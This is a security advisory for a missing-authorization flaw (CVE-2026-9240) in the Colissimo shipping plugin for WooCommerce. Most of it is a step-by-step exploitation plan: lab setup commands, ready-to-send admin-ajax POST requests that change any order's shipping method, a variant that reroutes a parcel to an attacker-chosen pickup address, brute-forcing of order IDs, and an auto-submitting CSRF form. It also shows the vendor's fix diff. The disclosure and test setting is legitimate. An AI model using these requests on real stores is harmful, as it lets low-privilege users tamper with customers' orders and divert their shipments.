Colissimo Officiel : Méthodes de livraison pour WooCommerce <= 2.9.0 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Order Shipment Modification via lpc_order_affect AJAX action
Description
The Colissimo Officiel : Méthodes de livraison pour WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the updateShippingMethod() function (registered to the wp_ajax_lpc_order_affect AJAX action) in versions up to, and including, 2.9.0. This is due to the handler performing no current_user_can() capability check and no nonce verification before reading an attacker-supplied order_id and modifying that order's shipping method, pickup-point meta, and shipping address. This makes it possible for authenticated attackers, with Subscriber-level access and above, to create or modify the shipment information (shipping method, pickup relay data, and shipping address) of arbitrary WooCommerce orders, including orders placed by other users.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=2.9.0What Changed in the Fix
Changes introduced in v2.10.0
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-9240 ## 1. Vulnerability Summary The Colissimo Officiel plugin (slug: `colissimo-shipping-methods-for-woocommerce`) versions ≤ 2.9.0 has a **Missing Authorization** vulnerability in the `wp_ajax_lpc_order_affect` AJAX action. The handler function `updateShipp…
Show full research plan
Exploitation Research Plan: CVE-2026-9240
1. Vulnerability Summary
The Colissimo Officiel plugin (slug: colissimo-shipping-methods-for-woocommerce) versions ≤ 2.9.0 has a Missing Authorization vulnerability in the wp_ajax_lpc_order_affect AJAX action. The handler function updateShippingMethod() (in class LpcAdminOrderAffect, file admin/orders/lpc_admin_order_affect.php) performs no current_user_can() capability check and no nonce verification before accepting an attacker-supplied order_id and modifying that order's shipping method, pickup-point relay metadata, and shipping address.
This allows any authenticated WordPress user (including Subscriber-level accounts) to modify the shipment information of any WooCommerce order, regardless of ownership.
Why it exists: The AJAX handler was registered for all authenticated users via wp_ajax_lpc_order_affect but the callback function omits both:
- A capability check (e.g.,
current_user_can('edit_shop_orders')) - A nonce verification (e.g.,
check_ajax_referer()orwp_verify_nonce())
Compare with other handlers in the same plugin (e.g., LpcBordereauDownloadAction::control() which checks current_user_can('lpc_download_bordereau'), and LpcBordereauPrintAction::control() which checks current_user_can('lpc_print_bordereau')).
2. Attack Vector Analysis
Endpoint: POST /wp-admin/admin-ajax.php
Action parameter: action=lpc_order_affect
Hook registration (inferred from admin/init.php line):
LpcRegister::register('lpcAdminOrderAffect', new LpcAdminOrderAffect());
The class LpcAdminOrderAffect registers the handler via:
add_action('wp_ajax_lpc_order_affect', [$this, 'updateShippingMethod']);
(inferred — the JS file lpc_order_affect.js explicitly sends action: 'lpc_order_affect' and there is no wp_ajax_nopriv_ variant, confirming it's authenticated-only)
HTTP Parameters (from lpc_order_affect.js):
| Parameter | Description |
|---|---|
action |
lpc_order_affect |
order_id |
The target WooCommerce order ID (any order) |
new_shipping_method |
The new shipping method slug (e.g., lpc_expert, lpc_relay, lpc_nosign, lpc_sign) |
shipping_item_id |
The shipping line item ID within the order |
relay_information |
JSON string with relay point data (required when new_shipping_method=lpc_relay) |
Authentication Required: Any logged-in WordPress user (Subscriber+)
Nonce Required: None. The JS code in lpc_order_affect.js does not send any nonce parameter, and the handler (inferred) does not call check_ajax_referer() or wp_verify_nonce(). This is the core of the vulnerability.
Preconditions:
- WooCommerce must be active with at least one order
- The Colissimo plugin must be active (version ≤ 2.9.0)
- The attacker must have a valid WordPress account (Subscriber suffices)
3. Code Flow
Entry Point
The JavaScript file admin/js/orders/lpc_order_affect.js sends the AJAX request:
$.ajax({
url: ajaxurl,
type: 'POST',
dataType: 'json',
data: {
action: 'lpc_order_affect',
order_id: orderId,
new_shipping_method: $('input[name="lpc_new_shipping_method"]:checked').val(),
shipping_item_id: $('input[name="lpc_order_affect_shipping_item_id"]').val(),
relay_information: $('input[name="lpc_order_affect_relay_informations"]').val()
},
// ...
});
Server-Side Handler (inferred from description + JS)
In admin/orders/lpc_admin_order_affect.php, the LpcAdminOrderAffect class:
Registration: In
init()or constructor, registers:add_action('wp_ajax_lpc_order_affect', [$this, 'updateShippingMethod']);updateShippingMethod()function:- Reads
$_POST['order_id']— no ownership or capability check - Reads
$_POST['new_shipping_method']— the new Colissimo shipping method - Reads
$_POST['shipping_item_id']— the WC shipping line item ID - Reads
$_POST['relay_information']— JSON with relay/pickup point data - No
current_user_can()call (e.g., missingcurrent_user_can('edit_shop_orders')) - No nonce verification (no
check_ajax_referer()orwp_verify_nonce()) - Loads the order via
wc_get_order($order_id) - Updates the order's shipping method on the shipping item
- If
new_shipping_method === 'lpc_relay', updates pickup point meta and shipping address fields - Saves the order
- Returns JSON success/error response
- Reads
Sink
The sink is the modification of arbitrary WooCommerce order data:
- Shipping method change (via
WC_Order_Item_Shippingmethods) - Order meta update (pickup relay data via
update_meta_data()orupdate_post_meta()) - Shipping address update (via
set_shipping_*()methods on the order object)
4. Nonce Acquisition Strategy
No nonce is required. The vulnerability description explicitly states "no nonce verification" and the JavaScript code in lpc_order_affect.js does not include any nonce parameter in its AJAX data object. Comparing with other plugin handlers that do verify nonces/capabilities (bordereau handlers check current_user_can), this handler has neither protection.
Therefore, the exploit only requires a valid WordPress authentication cookie for any user role (Subscriber+). No nonce extraction is needed.
5. Exploitation Strategy
Step 1: Create a Subscriber User (if not already existing)
wp user create attacker attacker@example.com --role=subscriber --user_pass=attacker123
Step 2: Log in as Subscriber to Obtain Authentication Cookies
Use http_request (Playwright-based) to perform a login:
POST http://localhost:8080/wp-login.php
Content-Type: application/x-www-form-urlencoded
log=attacker&pwd=attacker123&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1
Store/forward the resulting cookies (wordpress_logged_in_*, wordpress_*) for subsequent requests.
Step 3: Identify a Target Order
Before exploiting, determine an existing order ID. This can be done by:
- Using WP-CLI in setup:
wp wc order list --format=ids(for test setup) - Or trying common order IDs (1, 2, 3...) since the handler will return errors for non-existent orders
Step 4: Send the Exploit Request
Primary exploit — Change shipping method of arbitrary order:
POST http://localhost:8080/wp-admin/admin-ajax.php
Content-Type: application/x-www-form-urlencoded
Cookie: [subscriber authentication cookies]
action=lpc_order_affect&order_id=<TARGET_ORDER_ID>&new_shipping_method=lpc_expert&shipping_item_id=<SHIPPING_ITEM_ID>&relay_information={}
If shipping_item_id is unknown, try 0 or omit it — many WooCommerce order handlers accept this or use the first shipping item. Alternatively, the handler may look up shipping items from the order.
Variant — Change to relay method with attacker-controlled address:
POST http://localhost:8080/wp-admin/admin-ajax.php
Content-Type: application/x-www-form-urlencoded
Cookie: [subscriber authentication cookies]
action=lpc_order_affect&order_id=<TARGET_ORDER_ID>&new_shipping_method=lpc_relay&shipping_item_id=<SHIPPING_ITEM_ID>&relay_information={"identifiant":"ATTACKER_RELAY","nom":"Attacker+Relay","adresse":"123+Attacker+St","codePostal":"75001","commune":"Paris","codePays":"FR"}
This variant is more impactful — it redirects the physical shipment to an attacker-controlled pickup point address.
Step 5: Verify the Response
Expected successful response:
{"type":"success","data":{"message":"..."}}
Or the page reloads (the JS does location.reload() on success).
Error response if something is wrong:
{"type":"error","data":{"message":"..."}}
6. Test Data Setup
6.1 Plugin Installation
# Install and activate WooCommerce (prerequisite)
wp plugin install woocommerce --activate
# Run WooCommerce setup (minimal)
wp option update woocommerce_store_address "123 Test St"
wp option update woocommerce_store_city "Paris"
wp option update woocommerce_store_postcode "75001"
wp option update woocommerce_default_country "FR"
wp option update woocommerce_currency "EUR"
# The Colissimo plugin should already be installed at vulnerable version
wp plugin activate colissimo-shipping-methods-for-woocommerce
6.2 Create Test WooCommerce Product and Order
# Create a simple product
wp wc product create --name="Test Product" --regular_price=10.00 --status=publish --user=1
# Create an admin/shop-manager user (order owner - the victim)
wp user create victim victim@example.com --role=shop_manager --user_pass=victim123
# Create a test order as admin (simulating a real customer order)
wp wc order create --customer_id=1 --status=processing --user=1
# Note the order ID from the output
# Add a line item to the order (may need to be done programmatically)
Alternatively, create an order programmatically:
wp eval '
$order = wc_create_order(["customer_id" => 1]);
$product = wc_get_products(["limit" => 1])[0];
$order->add_product($product, 1);
// Add a shipping line item
$shipping = new WC_Order_Item_Shipping();
$shipping->set_method_title("Colissimo sans signature");
$shipping->set_method_id("lpc_nosign");
$shipping->set_total(5.00);
$order->add_item($shipping);
$order->set_shipping_address_1("456 Victim St");
$order->set_shipping_city("Lyon");
$order->set_shipping_postcode("69001");
$order->set_shipping_country("FR");
$order->set_shipping_first_name("Victim");
$order->set_shipping_last_name("User");
$order->calculate_totals();
$order->save();
echo "Order ID: " . $order->get_id() . "\n";
// Get shipping item ID
foreach ($order->get_shipping_methods() as $item_id => $item) {
echo "Shipping Item ID: " . $item_id . "\n";
}
'
6.3 Create Attacker Account
wp user create attacker attacker@example.com --role=subscriber --user_pass=attacker123
6.4 Record Pre-Exploit State
# Record the original shipping method and address
wp eval '
$order_id = <ORDER_ID>;
$order = wc_get_order($order_id);
echo "Shipping Method: ";
foreach ($order->get_shipping_methods() as $item) {
echo $item->get_method_id() . "\n";
}
echo "Shipping Address: " . $order->get_shipping_address_1() . "\n";
echo "Shipping City: " . $order->get_shipping_city() . "\n";
'
7. Expected Results
A successful exploit will show:
HTTP Response: A JSON success response from admin-ajax.php:
{"type":"success","data":{...}}(or potentially
{"success":true,...}depending on the plugin's response format)Order Modification: The target order's shipping data will be changed:
- Shipping method changed from the original (e.g.,
lpc_nosign) to the attacker-specified method (e.g.,lpc_expertorlpc_relay) - If
lpc_relaywas used: Pickup point metadata will be set/modified to attacker-supplied values, and the shipping address on the order may be overwritten with the relay point address
- Shipping method changed from the original (e.g.,
No error or permission denied response despite the request coming from a Subscriber account that has no shop order management capabilities.
8. Verification Steps
After sending the exploit request, verify using WP-CLI:
# Check the order's shipping method was changed
wp eval '
$order_id = <ORDER_ID>;
$order = wc_get_order($order_id);
echo "=== Post-Exploit Order State ===\n";
foreach ($order->get_shipping_methods() as $item_id => $item) {
echo "Shipping Item ID: " . $item_id . "\n";
echo "Method ID: " . $item->get_method_id() . "\n";
echo "Method Title: " . $item->get_method_title() . "\n";
}
echo "Shipping Address 1: " . $order->get_shipping_address_1() . "\n";
echo "Shipping City: " . $order->get_shipping_city() . "\n";
echo "Shipping Postcode: " . $order->get_shipping_postcode() . "\n";
echo "Shipping Country: " . $order->get_shipping_country() . "\n";
'
# Check for relay point metadata changes
wp eval '
$order_id = <ORDER_ID>;
$order = wc_get_order($order_id);
$relay_id = $order->get_meta("lpc_relay_point_id");
$relay_data = $order->get_meta("_lpc_meta_pickUpLocationId");
echo "Relay Point ID: " . $relay_id . "\n";
echo "Pickup Location: " . print_r($relay_data, true) . "\n";
// Also check various Colissimo-specific meta keys
$meta_data = $order->get_meta_data();
foreach ($meta_data as $meta) {
$key = $meta->key;
if (strpos($key, "lpc") !== false || strpos($key, "colissimo") !== false) {
echo $key . " = " . print_r($meta->value, true) . "\n";
}
}
'
Success criteria:
- The shipping method ID changed from original value to the attacker-specified value
- If relay method was used, shipping address fields reflect attacker-supplied relay data
- The authenticated user performing the action was a Subscriber (no shop management capabilities)
9. Alternative Approaches
Alternative A: Brute-Force Order IDs
If the target order ID is unknown, iterate through common order IDs:
for order_id in 1 2 3 ... 100:
POST action=lpc_order_affect&order_id={order_id}&new_shipping_method=lpc_expert&shipping_item_id=0&relay_information={}
Non-existent orders will return errors; valid orders will succeed.
Alternative B: Omit shipping_item_id
If shipping_item_id is required but unknown, try:
shipping_item_id=0— the handler may default to the first shipping itemshipping_item_id=(empty) — same reasoning- Omit the parameter entirely — the handler might fetch all shipping items from the order
Alternative C: Try Without relay_information for Non-Relay Methods
For simpler exploitation, use a non-relay shipping method which likely doesn't require relay data:
action=lpc_order_affect&order_id=<ID>&new_shipping_method=lpc_sign&shipping_item_id=<ITEM_ID>&relay_information={}
Methods like lpc_sign, lpc_nosign, lpc_expert should work without relay point data.
Alternative D: Use lpc_relay with Realistic Relay Data
If the handler validates relay data format, supply realistic-looking JSON:
{
"identifiant": "999999",
"nom": "Attacker Relay Point",
"adresse": "1 Rue Malveillante",
"codePostal": "75001",
"localite": "Paris",
"codePays": "FR",
"typeDePoint": "BPR",
"accesPersonneMobiliteReduite": "true",
"horairesOuvertureLundi": "08:00-18:00"
}
Alternative E: CSRF Attack (Bonus)
Since there's no nonce verification, this is also exploitable as a CSRF attack. An attacker could host a page with a hidden form that auto-submits to the target WordPress site, modifying orders when any logged-in WordPress user (even an admin) visits the malicious page:
<form action="https://target.example.com/wp-admin/admin-ajax.php" method="POST" id="csrf">
<input type="hidden" name="action" value="lpc_order_affect">
<input type="hidden" name="order_id" value="42">
<input type="hidden" name="new_shipping_method" value="lpc_relay">
<input type="hidden" name="shipping_item_id" value="1">
<input type="hidden" name="relay_information" value='{"identifiant":"EVIL","nom":"Attacker","adresse":"123 Evil St","codePostal":"75001","commune":"Paris","codePays":"FR"}'>
</form>
<script>document.getElementById('csrf').submit();</script>
However, the primary PoC should focus on the Missing Authorization aspect (authenticated Subscriber making the request directly), as that is what the CVE describes.
Alternative F: Check for updateShippingMethod in Source
If the handler function name or registration differs from what's inferred, search the plugin source:
grep -rn "lpc_order_affect" /var/www/html/wp-content/plugins/colissimo-shipping-methods-for-woocommerce/ --include="*.php"
grep -rn "updateShippingMethod" /var/www/html/wp-content/plugins/colissimo-shipping-methods-for-woocommerce/ --include="*.php"
This will reveal the exact file path, function name, and any parameters that the handler reads.
Summary
The Colissimo Officiel plugin for WooCommerce is vulnerable to unauthorized modification of order data because it fails to perform capability checks or nonce verification on the 'lpc_order_affect' AJAX action. This allows authenticated attackers with minimal permissions (Subscriber-level) to modify shipping methods, pickup-point metadata, and shipping addresses for any order, regardless of ownership.
Vulnerable Code
// admin/orders/lpc_admin_order_affect.php public function updateShippingMethod() { $orderId = LpcHelper::getVar('order_id'); if (empty($orderId)) { LpcHelper::endAjax(false, ['message' => 'Order not found']); } --- // admin/js/orders/lpc_order_affect.js $.ajax({ url: ajaxurl, type: 'POST', dataType: 'json', data: { action: 'lpc_order_affect', order_id: orderId, new_shipping_method: $('input[name="lpc_new_shipping_method"]:checked').val(), shipping_item_id: $('input[name="lpc_order_affect_shipping_item_id"]').val(), relay_information: $('input[name="lpc_order_affect_relay_informations"]').val() },
Security Fix
@@ -3,16 +3,14 @@ defined('ABSPATH') || die('Restricted Access'); class LpcAdminOrderAffect extends LpcComponent { + const NONCE_SWITCH_METHOD = '_lpc_switch_method'; + const NONCE_NAME_SWITCH_METHOD = 'colissimo_switch_method'; protected $lpcShippingMethods; - protected $lpcCapabilitiesByCountry; - protected $lpcAdminPickupWebService; - protected $lpcAdminPickupWidget; - public function __construct( ?LpcShippingMethods $shippingMethods = null, ?LpcCapabilitiesPerCountry $capabilitiesPerCountry = null, @@ -82,6 +80,10 @@ } public function updateShippingMethod() { + if (!current_user_can('lpc_colissimo_bandeau') || 1 !== (int) check_ajax_referer(self::NONCE_NAME_SWITCH_METHOD, self::NONCE_SWITCH_METHOD, false)) { + LpcHelper::endAjax(false, ['message' => 'Unauthorized access']); + } + $orderId = LpcHelper::getVar('order_id'); if (empty($orderId)) { LpcHelper::endAjax(false, ['message' => 'Order not found']);
Exploit Outline
The exploit targets the 'lpc_order_affect' AJAX action. An authenticated attacker, such as a Subscriber, identifies a target WooCommerce order ID. They then send a POST request to '/wp-admin/admin-ajax.php' with the 'action' parameter set to 'lpc_order_affect', providing the 'order_id' and new shipment details. Because the 'updateShippingMethod' function lacks both capability checks (current_user_can) and nonce verification (check_ajax_referer), the plugin will process the request and modify the shipping method or relay information for the specified order, even if it does not belong to the attacker.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.